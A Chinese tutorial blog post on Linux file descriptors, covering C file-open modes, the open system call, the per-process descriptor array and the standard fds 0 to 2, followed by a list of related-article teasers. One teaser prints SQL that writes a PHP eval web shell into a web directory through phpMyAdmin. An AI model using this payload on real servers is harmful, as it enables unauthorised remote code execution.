Linux学习笔记:什么是文件描述符

什么是文件描述符

  • C语言的文件接口
  • 文件的系统调用
    • 什么是文件描述符,文件描述符为什么是int类型?
    • 为什么新打开的文件的文件描述符不是从0开始?

文件描述符 fd (file descriptor)

C语言的文件接口

当时学习C语言的时候,学习了文件接口
具体可以查看之前的文章: 链接:C语言的文件操作 http://t.csdnimg.cn/H6oAH
举例:

 #include<stdio.h>int main()
{//打开文件FILE* pf = fopen("test.txt", "w");  //以只写的方式打开/创建文本文件if (pf == NULL)   //判定是否打开成功,当打开文件失败时,fopen函数会返回空指针{perror("fopen"); return 1;}// 写文件//关闭文件fclose(pf);pf = NULL; //用完指针后置空return 0;
}

而文件的打开方式及意义是重点:

文件使用方式含义如果指定文件不存在
“r”(只读)为了输入数据,打开一个已经存在的文本文件出错
“w”(只写)为了输出数据,打开一个文本文件建立一个新的文件
“a”(追加)向文本文件尾添加数据建立一个新的文件
“rb”(只读)为了输入数据,打开一个二进制文件出错
“wb”(只写)为了输出数据,打开一个二进制文件建立一个新的文件
“ab”(追加)向一个二进制文件尾添加数据出错
“r+”(读写)为了读和写,打开一个文本文件出错
“w+”(读写)为了读和写,建立一个新的文件建立一个新的文件
“a+”(读写)为了读和写,在文件尾进行读写建立一个新的文件
“rb+”(读写)为了读和写,打开一个二进制文件出错
“wb+”(读写)为了读和写,建立一个新的二进制文件建立一个新的文件
“ab+”(读写)打开一个二进制文件,在文件尾进行读写建立一个新的文件

但是上面的接口,只是单纯的C语言写出来对文件进行调用和操作的
而对文件(即磁盘)进行操作的权力实际上只有操作系统,实际上C语言是封装了操作系统的系统调用

FILE 是一个C语言提供的结构体类型

文件的系统调用

上面讲到,C语言的文件操作函数实际上是封装了系统调用,实际上调用的就是open函数;
在这里插入图片描述

参数解析:pathname: 要打开或创建的目标文件flags: 打开文件时,可以传入多个参数选项,用下面的一个或者多个常量进行“或”运算,构成flags。参数:O_RDONLY: 只读打开O_WRONLY: 只写打开O_RDWR : 读,写打开这三个常量,必须指定一个且只能指定一个O_CREAT : 若文件不存在,则创建它。需要使用mode选项,来指明新文件的访问权限O_APPEND: 追加写
返回值:打开成功,返回对应的文件描述符打开失败,返回 -1

可以看到,open函数的返回值是一个int类型,这个返回值就是操作系统想要得到的文件描述符

什么是文件描述符,文件描述符为什么是int类型?

在操作系统中,每个进程都可能会打开多个文件,那么操作系统就需要对这些多个文件进行管理,因此操作系统会在这个进程的PCB中创建一个专门管理文件的结构体struct files_struct *files,而这个结构体中又包含了一个结构体指针数组,这个数组的下标就是文件描述符
如图:
在这里插入图片描述

而我们所知道的文件描述符,实际上就是对文件管理pcb中文件描述符结构体指针数组这个数组的下标,让操作系统明白我们调用的是这多个文件中的哪一个文件

为什么新打开的文件的文件描述符不是从0开始?

因为Linux下一切皆文件,因此每当创建一个进程的时候,操作系统默认会打开三个文件:

  1. 标准输入(stdin) 键盘 (描述文件符 0)
  2. 标准输出(stdout) 显示器 (描述文件符 1)
  3. 标准错误(stderr) 显示器 (描述文件符 2)

这三个文件占用了文件描述符数组的前三位,因此每当我们创建一个进程后,打开的每一个文件的文件描述符都是从3开始的

因此,各种语言 如C/C++,Java,python 等等,对文件的操作基本都是对系统调用函数open 进行的封装,因为操作系统与语言无关,无论什么语言,想要在操作系统下跑起来,那就得遵守这个操作系统的规矩,而文件调用这里的规矩,就是去封装open这个系统调用!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/748386.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

flask库

文章目录 flask库1. 基本使用2. 路由路径和路由参数3. 请求跳转和请求参数4. 模板渲染1. 模板变量2. 过滤器3. 测试器 5. 钩子函数与响应对象 flask库 flask是python编写的轻量级框架&#xff0c;提供Werkzeug&#xff08;WSGI工具集&#xff09;和jinjia2&#xff08;渲染模板…

【基于PSINS】误差计算函数

输入真值 (参考值)、对比量、待比较值,输出误差的最大值、平均值、标准差的函数 程序源码 function [err] = EV_error_output(out_flag,avp_flag,avp,varargin) % draw_flag:以字符串的形式输入绘图的数据,eg:["EKF","UKF"] % avp:基准 % avp_:…

【PyTorch】基础学习:在Pycharm等IDE中打印或查看Pytorch版本信息

【PyTorch】基础学习&#xff1a;在Pycharm等IDE中打印或查看Pytorch版本信息 &#x1f308; 个人主页&#xff1a;高斯小哥 &#x1f525; 高质量专栏&#xff1a;Matplotlib之旅&#xff1a;零基础精通数据可视化、Python基础【高质量合集】、PyTorch零基础入门教程&#x1…

机器硬件命令

一、查看机器核数 有以下几种方法 1、lscpu命令 lscpu命令可以显示关于CPU的信息&#xff0c;包括核数、线程数等。在终端中输入以下命令即可查看CPU核数&#xff1a;该命令会输出CPU每个物理插槽的核数。 lscpu | grep "Core(s) per socket" | awk {print $NF} …

PHPadmin写shell的方法

一、常规导入 shell 的操作创建数据表导出 shell CREATE TABLE mysql.shadow9 (content TEXT NOT NULL ); INSERT INTO mysql.shadow9 (content ) VALUES (‘<?php eval($_POST[pass]);?>’); SELECT content FROM shadow9 INTO OUTFILE ‘C:\\phpStudy\\WWW\\90sec.…

C++中实现String类

String类实现 概述示例开发环境代码运行结果 注意 概述 本文主要记录自己实现一个String类中的部分功能。 示例 开发环境 Windows下Visual Studio 2019。 代码 MyString.h #pragma once #include <iostream>class MyString{ public:MyString();MyString(char *p);…

github登录时解决2FA问题

使用Edge浏览器下载插件 https://microsoftedge.microsoft.com/addons/detail/authenticator-2fa-client/ocglkepbibnalbgmbachknglpdipeoio 下载后弹框会显示是否添加&#xff0c;添加。如下&#xff1a; Chrome下 https://chrome.google.com/webstore/detail/authenticator…

数据结构维度的索引及其应用场景

B树索引 B树索引是MySQL中广泛采用的数据结构&#xff0c;它将所有实际数据存储在叶子节点上&#xff0c;形成一个有序链表结构。B树索引的查询复杂度为O(logn)&#xff0c;非常适合执行范围查询操作&#xff0c;因其索引结构能高效地对区间内的数据进行遍历。 B树索引特点&a…

ipv6【H3C笔记】

ipv6地址 一&#xff0c;配置 int g0/0 ipv6 address auto 【r1】 dis ipv6 int g0/0 #查看自动获取到的IP地址 二&#xff0c;检查 在另一台路由器【r2】上做相同操作 【R2】ping ipv6 -i g0/0 r1的ipv6地址 # 对于自动获取到ipv6地址&#xff0c…

景联文科技:提供通用多模态数据,助力AI多模态领域实现飞跃式发展

回顾2023年&#xff0c;以ChatGPT为代表的通用人工智能大模型在全球范围内掀起了新一轮人工智能产业发展浪潮&#xff0c;我国人工智能大模型市场呈现百“模”争鸣、日新月异的迅猛发展态势。 根据大模型之家、钛媒体数据&#xff0c;2023年中国大模型市场规模达到147亿人民币&…

wsl ubuntu 安装的正确方式

目录 wsl ubuntu 安装的正确方式: 将wsl2设置为默认版本: 1、打开powershell

Elasticsearch:从 Java High Level Rest Client 切换到新的 Java API Client

作者&#xff1a;David Pilato 我经常在讨论中看到与 Java API 客户端使用相关的问题。 为此&#xff0c;我在 2019 年启动了一个 GitHub 存储库&#xff0c;以提供一些实际有效的代码示例并回答社区提出的问题。 从那时起&#xff0c;高级 Rest 客户端 (High Level Rest Clie…

vizro,一个有趣的 Python 库!

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 大家好&#xff0c;今天为大家分享一个有趣的 Python 库 - vizro。 Github地址&#xff1a;https://github.com/mckinsey/vizro 在当今数据驱动的世界中&#xff0c;数据可视化扮演着至关重要的角色。它不仅可以…

Python 3 教程(6)

Python3 字符串 字符串是 Python 中最常用的数据类型。我们可以使用引号( 或 " )来创建字符串。 创建字符串很简单,只要为变量分配一个值即可。例如: var1 =

JavaScript PAT乙级题解 1036 跟奥巴马一起编程

美国总统奥巴马不仅呼吁所有人都学习编程&#xff0c;甚至以身作则编写代码&#xff0c;成为美国历史上首位编写计算机代码的总统。2014 年底&#xff0c;为庆祝“计算机科学教育周”正式启动&#xff0c;奥巴马编写了很简单的计算机代码&#xff1a;在屏幕上画一个正方形。现在…

西门子PLC常用底层逻辑块分享_电动蝶阀

文章目录 前言一、功能概述二、电动蝶阀程序编写1.创建自定义数据类型2.创建FB功能块“电动蝶阀”3.编写程序 前言 本文分享一个自己编写的电动蝶阀控制逻辑块。 一、功能概述 手动状态、自动状态、机旁状态、强制状态、检修状态自由切换&#xff1b;具有开阀超时、关阀超时报…

c语言-输入包含空格的字符串

1、scanf无法接收空格 char str[10]; scanf(“%s”,str);2、gets可以接收空格&#xff0c;c11已弃用&#xff0c;不建议使用 char str[5]; gets(str);3、char *p 字符串长度动态变化 scanf 无法接收空格 char str[100]{0}; char *pstr; //或者 char *pNULL; pstr; scanf(&q…

状态机高阶讲解-06

1069 00:45:36,160 --> 00:45:37,660 那下一个用途 1070 00:45:39,010 --> 00:45:43,830 就是为分割系统提供一些参考的证据了 1071 00:45:47,230 --> 00:45:49,470 现在很多那个 1072 00:45:49,880 --> 00:45:51,770 流行有微服务架构 1073 00:45:51,770 --&g…

MATLAB/SIMULINK流水账

01.模块大小的一致性 当模型建完以后&#xff0c;模型大小比较散乱&#xff0c;可以利用该功能快速整理模块的大小 例如&#xff1a;如下5个constant模块&#xff0c;大小不一 若想把所有的模块都调整至跟第3个模块一样的大小 需要先把5个模块全部选取起来&#xff0c;另外再…

数字多空策略(实盘+回测+数据)

数量技术宅团队在CSDN学院推出了量化投资系列课程 欢迎有兴趣系统学习量化投资的同学&#xff0c;点击下方链接报名&#xff1a; 量化投资速成营&#xff08;入门课程&#xff09; Python股票量化投资 Python期货量化投资 Python数字货币量化投资 C语言CTP期货交易系统开…